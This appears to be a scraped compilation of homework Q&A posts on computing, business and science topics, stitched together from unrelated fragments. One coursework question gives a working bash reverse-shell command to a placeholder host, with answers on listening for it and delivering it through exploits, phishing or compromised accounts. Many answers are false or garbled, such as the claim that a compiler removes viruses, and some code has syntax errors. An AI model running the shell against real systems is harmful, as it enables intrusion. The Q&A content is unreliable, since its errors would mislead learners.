It is true that A firm's information systems can influence the likelihood of partnering with other firms, and its attractiveness as a merger or acquisition target.
What is the main purpose of using information systems in any organization?Information systems are used by businesses today to accomplish six key goals: operational excellence, innovative goods, services, and business models; customer and supplier intimacy; improved decision making; competitive advantage; and day-to-day survival. Hardware, software, databases, networks, and people make up the core components of an information system. To execute input, process, output, feedback, and control, these five elements must work together. The most crucial element of an information system, according to the five-component model, is its software. Information systems give users the ability to gather, store, organize, and distribute data—tasks that can be used by businesses for a variety of objectives. To manage resources and increase productivity, many organizations use information systems.To learn more about Information systems refer to:
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The remove function in the following program _____.
>>> aList = [9, 2, 3.5, 2]
>>> aList.remove(2)
removes all occurences of a 2 from a list.
removes the first occurence of 2 from the list
removes the item with an index of 2 from the list
removes all data values from the list
Which of the below are examples of control structures?
(1) if
(II) if/else
(III) while
(IV) for
I only
I and II only
III and I only
I, II, III, and IV
Answer: (I) if, (II) if/else, (III) while, (IV) for
D. I, II, III, and IV
May I have brainliest please?
Where can you get help to create citations for ProQuest articles?
Select one:
a.
By checking the USP handbook
b.
All of the above
c.
By using ProQuest's "CITE" button
d.
By checking your writing textbook
what is a data source in OLE?
Answer:
OLE DB Driver for SQL Server uses the term data source for the set of OLE DB interfaces used to establish a link to a data store, such as SQL Server. Creating an instance of the data source object of the provider is the first task of an OLE DB Driver for SQL Server consumer.
Explanation:
hope it helps you and give me a brainliest
Which option will likely be used by a traveling salesman? A tablet PC or a laptop A server or a laptop A laptop or a desktop A desktop computer or a server
Answer:
it is A
Explanation:
they are the smallest and can be easily moved.
hope this helps
The option that will likely be used by a traveling salesman is A tablet PC or a laptop. Thus the correct answer is A.
What is a salesman?A salesman is referred to as an individual who mainly worked for selling, advertising, and promoting commodities in the market to the customers. They move from one location to another for their sale.
A tablet or laptop is considered a portable electronic device that works similar to any computer or desktop device which helps in making ease of business or day-to-day functions.
These devices are used by a salesman who used to travel as they are small in size which makes them easy to carry from one location to another without causing any trouble. They provide mobility to their user.
Therefore, option A tablet PC or a laptop is appropriate.
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You are a member of Future Business Leaders of America, and a local retirement community has asked if you and
your other members could come to their facility to help teach the residents that live there how to use technology
so that they can communicate with their grandchildren. This is an example of
networking
a competition
community service
a class assignment
Senior executives typically invite network members to participate in the planning and implementation of the change process at the first meeting. There is a matter of minutes, and Meetings are scheduled frequently.
Which three strategies would you recommend to make your company a fantastic place to work?Fantastic lines of communication between management and employees. a feeling of belonging within the crew. allowing workers the freedom to develop their skills. a tradition of ongoing development.
What are some tactics you may employ to promote innovation and creativity within a company?Ask your staff to present their ideas if you want to encourage creativity and innovation. You might also develop a procedure to submit them. Request that each employee presents an idea within a set deadline, and offer incentives to encourage discussion.
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In this assignment, you will write a Python 3.x program to calculate the length of the hypotenuse (side C) of a right triangle, given the lengths of the other two sides (A & B) as provided by the user. The program will also calculate the area of the triangle and the perimeter (the sum of the three sides). Other specifications: WRITE THE CODE FOR THE ANSWER.
Answer:
Explanation:
from math import hypot #import hypot for finding the hypotenuse
a = int(input("Enter a value for a: " )
b = int(input("Enter a value for b: " )
def find_hypotenuse(a,b):
return hypot(a,b) #find the hypotenuse
def find_area(a,b):
return 0.5 * a * b #calculate the area
def find_perimeter(a,b):
return a + b + find_hypotenuse(a,b) #calculate the perimeter
print("the hypotenuse is :", find_hypotenuse(a,b))
print("the area is :", find_area(a,b))
print("the perimeter is :", find_perimeter(a,b))
1. Identify two real-world examples of problems whose solutions do scale well.
2. Identify two real-world examples of problems whose solutions do not scale well.
3. Identify one problem that is so complex that there is no computational solution to feasibly solve the problem in a reasonable amount of time.
1. Identify two real-world examples of problems whose solutions do scale well.
ANSWER; Real word examples of
problems whose solutions do scale well are;
- To find the smallest/ largest element in a list of data.
This is used when there is trial to find from a table the person that posseses the largest attribute.examples are salary and age.
Or it is also used when finding the highest score on a test, however,this is scalable as it can be done by both humans and machines according to the problem size but in the same fashion.
- Solving simple arithmetic equations.
Solving a simple arithmetic problem is one of an easily scaled problem, however,this depends on the number of operations and the variables present in the equation and which corresponds to daily life situations like adding, finding mean and counting.
2. Identify two real-world examples of problems whose solutions do not scale well.
Real word examples of problems which do not scale well are;
- The sorting of a large list of numbers do not scale well,this is because as the steps required increases as square or increases as more by the increase in size.
- Multiplication of matrices for various applications.example of this is like solving equations.
3. Identify one problem that is so complex that there is no computational solution to feasibly solve the problem in a reasonable amount of time.
Example of a problem that is not feasible computer-wise would be to find the optimal way or best to play the game of Chess. Here, it is possible to tell a good move but to tell the best move is computationally not possible.
How would you show an external document in a running presentation?
There are a few steps that show an external document in a running presentation.
What are the steps needed?
1. On the slide, select the icon or link to the object that you want to set to run.
2. On the Insert tab, in the Links group, click Action.
3. In the Action Settings dialog box, do one of the following:
4. To click the embedded icon or link in order to open the program, click the Mouse Click tab.
5. To move the mouse pointer over the embedded icon or link in order to open the program, click the Mouse Over tab.
6. Under Action on click or Action on mouse-over, select one of the options, then select from the list at that option. For example, you can select Run Program and then browse to a program that you want to run, such as a web browser. Or if the object is a document, you can select Object action and then select Open to display the document or edit to work on it during your presentation.
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.
When a computer is suffering from a virus, you can use a compiler to help remove the virus. True or false?
It is true that when a computer is suffering from a virus, you can use a compiler to help remove the virus.
What is a compiler?Compilers are specialized software tools that convert the source code of one programming language into machine code, bytecode, or another programming language.
Usually, the source code is created in a high-level, readable language for humans, such Java or C++.
Programs that convert source code from a high-level programming language to a low-level programming language (such as assembly language, object code, or machine code) in order to produce an executable program are commonly referred to as "compilers."
The compiler, as we well know, transforms high-level source code into low-level code.
Low-level code is then executed on the target system. You can use a compiler to assist in virus removal when a computer is infected.
Thus, the given statement is true.
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The average American has 10 devices, ask for users average number of devices. Any number between 7 and 12 will print “you have an average number of devices” but if it beyond the range it will print “you’re beyond the average range”
This is for Python
device_num = int(input('How many devices do you have: '))
if device_num >= 7 and device_num <= 12:
print('You have an average number of devices')
if device_num > 12:
print("You're beyond the average range")
With the help of the network, the attacker can obtain the shell or root shell of the remote server (Linux operating system-based) through the reverse shell attack, and then get full control of the server. The typical reverse shell instruction is as follows:
/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"
1) Please explain the meaning of 0,1,2,>, <, & represented in the above statement;
2) What does the attacker need to do on his machine in order to successfully get the shell information output on the server side? And please explain the meaning represented by /dev/tcp/server_ip/9090;
3) Combined with the above statement, explain the implementation process of reverse shell attack;
4) Combined with the relevant knowledge learned in our class, what attacking methods can be used to successfully transmit and execute the above reverse shell instruction on the server side?
1. 0 represents standard input (stdin), 1 represents standard output (stdout), 2 represents standard error (stderr), > is output redirection, < is input redirection, and & is used for file descriptor redirection.
2. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility.
3.Identify vulnerable system, craft reverse shell payload, deliver payload to target, execute payload to establish connection with attacker are methods for implementation.
4. Exploiting vulnerabilities, social engineering, planting malware/backdoors, compromising trusted user accounts can be used to execute the reverse shell instruction.
1. In the reverse shell instruction provided ("/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"), the symbols 0, 1, 2, >, <, and & represent the following:
0: It represents file descriptor 0, which is the standard input (stdin).
1: It represents file descriptor 1, which is the standard output (stdout).
2: It represents file descriptor 2, which is the standard error (stderr).
: It is the output redirection symbol and is used to redirect the output of a command to a file or device.
<: It is the input redirection symbol and is used to redirect input from a file or device to a command.
&: It is used for file descriptor redirection, specifically in this case, combining stdout and stderr into a single stream.
2. To successfully get the shell information output on the server side, the attacker needs to set up a listening service on their own machine. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility. The "/dev/tcp/server_ip/9090" in the reverse shell instruction represents the connection to the attacker's machine on IP address "server_ip" and port 9090. By specifying this address and port, the attacker creates a connection between their machine and the compromised server, allowing the output of the shell to be sent to their machine.
3. The reverse shell attack is typically performed in the following steps:
The attacker identifies a vulnerability in the target server and gains control over it.The attacker crafts a payload that includes the reverse shell instruction, which allows the attacker to establish a connection with their machine.The attacker injects or executes the payload on the compromised server, initiating the reverse shell connection.The reverse shell instruction creates a new shell on the compromised server and connects it to the attacker's machine, redirecting the shell's input and output streams to the network connection.Once the reverse shell connection is established, the attacker gains interactive access to the compromised server, obtaining a shell or root shell, and can execute commands as if they were directly working on the server itself.4. Successfully transmit and execute the reverse shell instruction on the server side, the attacker can use various attacking methods, including:
Exploiting a vulnerability: The attacker can search for known vulnerabilities in the target server's operating system or specific applications running on it. By exploiting these vulnerabilities, they can gain unauthorized access and inject the reverse shell payload.
Social engineering: The attacker may use social engineering techniques, such as phishing emails or deceptive messages, to trick a user with access to the server into executing the reverse shell payload unknowingly.
Malware or backdoor installation: If the attacker already has control over another system on the same network as the target server, they may attempt to install malware or a backdoor on that system. This malware or backdoor can then be used to launch the reverse shell attack on the target server.
Compromising a trusted user account: The attacker may target and compromise a user account with privileged access on the server. With the compromised account, they can execute the reverse shell instruction and gain control over the server.
It is important to note that carrying out such attacks is illegal and unethical unless done with proper authorization and for legitimate security testing purposes.
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Multimedia can be used in
a) schools
b) advertising
c) all of these
c) all of these
multimedia can be used in schools, specially when there' an educational videos.
A stack is a ___________________ data structure.
Answer:
A stack is a base data structure.
Consider the following code:
start = int(input("Enter the starting number: "))
stop = int(input("Enter the ending number: "))
x = -10
sum = 0
for i in range (start, stop, x):
sum = sum + i
print(sum)
What is output if the user enters 78 then 45?
Please help me !
Answer:
The output is 252
Explanation:
To get the output, I'll analyze the lines of code one after the other.
Here, user enters 78. So, start = 78
start = int(input("Enter the starting number: "))
Here, user enters 45. So, stop = 45
stop = int(input("Enter the ending number: "))
This initializes x to -10
x = -10
This initializes sum to 0
sum = 0
This iterates from 78 to 46 (i.e. 45 + 1) with a decrement of -10 in each successive term
for i in range (start, stop, x):
This adds the terms of the range
sum = sum + i
This prints the calculated sum
print(sum)
The range starts from 78 and ends at 46 (i.e. 45 + 1) with a decrement of -10.
So, the terms are: 78, 68, 58 and 48
And Sum is calculated as:
\(Sum = 78 + 68 + 58 +48\)
\(Sum = 252\)
Hence, 252 will be printed
Internet Retailing
Visit an e-commerce Web site such as Amazon.com and find a product you would like to purchase. While looking at the page for that item, count the number of other products that are being offered on that page.
Activity
Answer the following questions: What do they have in common? Why are they appearing on that page?
When I visited the e-commerce Web site such as Amazon.com and find a product that I would like to purchase which is a laptop, The thing that the sellers have in common is that they are trusted and verified sellers, their product presentation is nice and has warranty on it. The reason they are appearing on that page is because the product are similar.
What is E-commerce site website?The term e-commerce website is one that enables customers to buy and sell tangible products, services, and digital commodities over the internet as opposed to at a physical store. A company can process orders, receive payments, handle shipping and logistics, and offer customer care through an e-commerce website.
Note that there are numerous eCommerce platforms available, each with its own set of characteristics. The optimal eCommerce platform will therefore rely on your demands, available resources, and business objectives.
So, for instance, if you're a novice or small business owner looking to set up an online store in only a few clicks, go with a website builder like Hostinger. Oberlo, on the other hand, boasts the best inventory management system for dropshippers and is the top eCommerce platform overall.
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Quick please, URGENT
1.Explain why the scenario below fails to meet the definition of due diligence in coding.
Situation: As you are developing an app for a small fee, you include access to many other services, such as searching the Internet.
3.A programmer must know platforms and other languages. On what "side" is Groovy?
programmer side
Web-based side
server-side
client-side
4.Give two reasons why there are more contract workers than permanent workers
5.Explain why the scenario below fails to meet the definition of an app with persona.
Situation: Jim built an app for a company in which the user navigates a Web site by clicking on links and reading written material.
6.Explain why the scenario below is not a description of an angel investor.
Situation: Ray has an idea for developing an app and finds individuals who will invest in the app. These individuals sign an agreement that they expect no money or rights in the app.
7.In an app design project, who is responsible for the SDKs?
the programmer
the developer
the senior executive
the senior staff
8.Suppose you are offered a position that focuses on writing policies, hiring staff, and focusing on the company's mission. What position are you offered?
legal executive
technology executive
resources executive
programming executive
Answer: it is the code it is wrong
Explanation:
you have a table for a membership database that contains the following fields: MemberLatName, MemberFirstName, Street, City, State, ZipCode and intiation fee. there are 75,000records in the table. what indexes would you create for the table, and why would you create these indexes?
A unique lookup table called an index is used to speed performance
What is lookup function?
Use the lookup and reference function LOOKUP when you need to search a single row or column and find a value from the same position in another row or column. As an example, let's say you have the part number for a car part but don't know how much it costs.
We employ we lookup since?
Use VLOOKUP when you need to search by row in a table or a range. For instance, you could use the employee ID to look up a person's name or the part number to check the price of a car part.
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C++
Write a program and use a for loop to output the
following table formatted correctly. Use the fact that the
numbers in the columns are multiplied by 2 to get the
next number. You can use program 5.10 as a guide.
Flowers
2
4
8
16
Grass
4
8
16
32
Trees
8
16
32
64
based on the above, we can write the C++ code as follows..
#include <iostream>
#include <iomanip>
using namespace std;
int main() {
// Output table headers
cout << setw(10) << "Flowers" << setw(10) << "Grass" << setw(10) << "Trees" << endl;
// Output table rows
for (int i = 1; i <= 4; i++) {
cout << setw(10) << (1 << (i-1)) * 2 << setw(10) << (1 << i) * 2 << setw(10) << (1 << (i+2)) * 2 << endl;
}
return 0;
}
How does this work ?Using the iomanip library's setw function, we ensure that the output of this program is properly formatted and aligned in columns. To calculate the values in each column, we iterate through every row of the table via a for loop and rely on bit shifting and multiplication.
As our code outputs these values to the console using << operators, we use endl to create new lines separating each row. The return 0; statement at the very end serves as an indication of successful completion.
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Write a program that uses an initializer list to store the following set of numbers in an array named nums. Then, print the array.
14 36 31 -2 11 -6
Sample Run
[14, 36, 31, -2, 11, -6]
Assuming the user types the sentence
Try to be a rainbow in someone's cloud.
and then pushes the ENTER key, what will the value of ch be after the following code executes?.
char ch = 'a';
cin >> ch >> ch >> ch >> ch;
(in c++)
The value of ch will be the character entered by the user after executing the code.
What is the value of ch after executing the code?The code snippet cin >> ch >> ch >> ch >> ch; reads four characters from the user's input and assigns them to the variable ch. Since the user input is "Try to be a rainbow in someone's cloud." and the code reads four characters, the value of ch after the code executes will depend on the specific characters entered by the user.
In conclusion, without knowing the input, it is not possible to determine the exact value of ch. Therefore, the value of ch will be the character entered by the user after executing the code.
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You want to register the domain name ABCcompany.org, but the registration service is not allowing you to do that. What's the most likely reason for this
Options :
The domain name is registered to someone else.
Domain names must end in ".com".
You are not the legal owner of ABC Company.
Domain names must be all in lowercase.
Answer:
The domain name is registered to someone else.
Explanation: In the scenario above, ABCcompany.org represents the domain name of a particular person or establishment which provides access to the website of the owner. The domain name given to an individual or website must be distinct, that is no two different organizations or persons can use exactly the same domain name. Domain names can end with :. com, org, ng and various other and they aren't case sensitive. Therefore, the inability to register the domain name abive will likely stem from the fact that the domain name has is already registered to someone else.
The domain of a website is the name of the website. The most likely reason why the domain cannot be registered is that, it has already been registered/taken by someone else.
There are several reasons why a domain cannot be registered.
The most important reason is that:
When a domain is taken, no other person can have access to that domain until its expiry (and not renewed). So, when a domain has been taken, you will not be able to register such domain.
Another reason is that:
Insufficient funds is another reason, if the domain is not a free domain.
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The models below represent nuclear reactions. The atoms on the left of the equal sign are present before the reaction, and the atoms on the right of the equal sign are produced after the reaction.
Model 1: Atom 1 + Atom 2 = Atom 3 + energy
Model 2: Atom 4 = Atom 5 + Atom 6 + energy
Which of these statements is most likely correct about the two models?
Both models show reactions which produce energy in the sun.
Both models show reactions which use up energy in the sun.
Model 1 shows reactions in the nuclear power plants and Model 2 shows reactions in the sun.
Model 1 shows reactions in the sun and Model 2 shows reactions in a nuclear power plant.
The statements which is most likely correct about the two models are Both models show reactions which produce energy in the sun. Thus, option A is correct. Thus, option A is correct.
The basic fusion reaction through which the sun produces energy is when two isotopes of hydrogen, deuterium and tritium, atoms undergoes fusion reaction resulting to an helium atom, an extra neutron and energy. In this reaction, some mass are being transformed into energy.
Model 1 shows reactions in the nuclear power plants and Model 2 shows reactions in the sun.
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xamine the following output:
Reply from 64.78.193.84: bytes=32 time=86ms TTL=115
Reply from 64.78.193.84: bytes=32 time=43ms TTL=115
Reply from 64.78.193.84: bytes=32 time=44ms TTL=115
Reply from 64.78.193.84: bytes=32 time=47ms TTL=115
Reply from 64.78.193.84: bytes=32 time=44ms TTL=115
Reply from 64.78.193.84: bytes=32 time=44ms TTL=115
Reply from 64.78.193.84: bytes=32 time=73ms TTL=115
Reply from 64.78.193.84: bytes=32 time=46ms TTL=115
Which of the following utilities produced this output?
The output provided appears to be from the "ping" utility.
How is this so?Ping is a network diagnostic tool used to test the connectivity between two network devices,typically using the Internet Control Message Protocol (ICMP).
In this case, the output shows the successful replies received from the IP address 64.78.193.84,along with the response time and time-to-live (TTL) value.
Ping is commonly used to troubleshoot network connectivity issues and measureround-trip times to a specific destination.
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How do you code in C++. Please keep this basic as possible and I will report is I get a bad answer like my last time doing this question
Answer:
What do you need?
Explanation:
I'm a C++ semi-starter and I can get you started with some basic things, just tell me what help do you need (Programming enviroment, enviroment problems, errors ,..)
1. Fill in the blanks with appropriate word. 5°1-5 is a collection of raw unprocessed facts, figures, and symbols
Answer:
e
Explanation:
e
What defines the behavior of an object in object-oriented programming ?
A. Class
B. Object by itself
C. Method
D. Device or platform on which the program runs
Objects in object-oriented programming are simply the components of a program.
The behavior of objects are defined by (c) Method
Methods are simply functions and subroutines, and they are used to define the behavior of objects.
Take for instance, the following method:
public static int Fibonacci(int i){
........
....
return i;
}
The above code segment creates a method named Fibonacci of integer type.
This means that, the return value of the object whose behavior is defined by the Fibonacci method is also integer.
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Fill in the blank to complete the “even_numbers” function. This function should use a list comprehension to create a list of even numbers using a conditional if statement with the modulo operator to test for numbers evenly divisible by 2. The function receives two variables and should return the list of even numbers that occur between the “first” and “last” variables exclusively (meaning don’t modify the default behavior of the range to exclude the “end” value in the range). For example, even_numbers(2, 7) should return [2, 4, 6].
def even_numbers(first, last):
return [ ___ ]
print(even_numbers(4, 14)) # Should print [4, 6, 8, 10, 12]
print(even_numbers(0, 9)) # Should print [0, 2, 4, 6, 8]
print(even_numbers(2, 7)) # Should print [2, 4, 6]
This code creates a new list by iterating over a range of numbers between "first" and "last" exclusively. It then filters out odd numbers by checking if each number is evenly divisible by 2 using the modulo operator (%), and only adding the number to the list if it passes this test.
Write a Python code to implement the given task.def even_numbers(first, last):
return [num for num in range(first, last) if num % 2 == 0]
Write a short note on Python functions.In Python, a function is a block of code that can perform a specific task. It is defined using the def keyword followed by the function name, parentheses, and a colon. The function body is indented and contains the code to perform the task.
Functions can take parameters, which are values passed to the function for it to work on, and can return values, which are the result of the function's work. The return keyword is used to return a value from a function.
Functions can be called by their name and passed arguments if required. They can be defined in any part of the code and can be called from anywhere in the code, making them reusable and modular.
Functions can make the code more organized, easier to read, and simpler to maintain. They are also an essential part of object-oriented programming, where functions are known as methods, and they are attached to objects.
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Starting at time 0, a new process p of length 3 arrives every 4 time units. Starting at time 1, a new process q of length 1 arrives every 4 time units. Determine the ATT under FIFO, SJF, and SRT.
Answer:
A.T= Arrival Time B.T= Burst Time C.T= Completion Time T.T = Turn around Time = C.T - A.T W.T = Waiting Time = T.T - B.T ATT=sum of all Turn-around time / total no of process FIFO (first in first o
to control specific offers for goods or services and thus the resulting contracts, important terms to provide online include
Important conditions to present online include a clause referring to the management of any dispute to regulate certain offers for products or services and therefore the following contracts.
What is it known as online?When a device is on and linked to other things, such as a computer, a network, or a device like a printer, it is said to be online. Online now refers to being hosted in more recent times.
What do you mean by an online course?An online course is one that is delivered over the Internet. Courses are often performed using a lms, where students may access their course curriculum, track their academic progress, and interact with their peers and instructors.
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The complete question is-
To control specific offers for goods or services and thus the resulting contracts, important terms to provide online include
a). a detailed history of the particular business.
b). an updated list of the goods or services.
c). a provision relating to the resolution of any dispute.
d). positive reviews from customers or clients.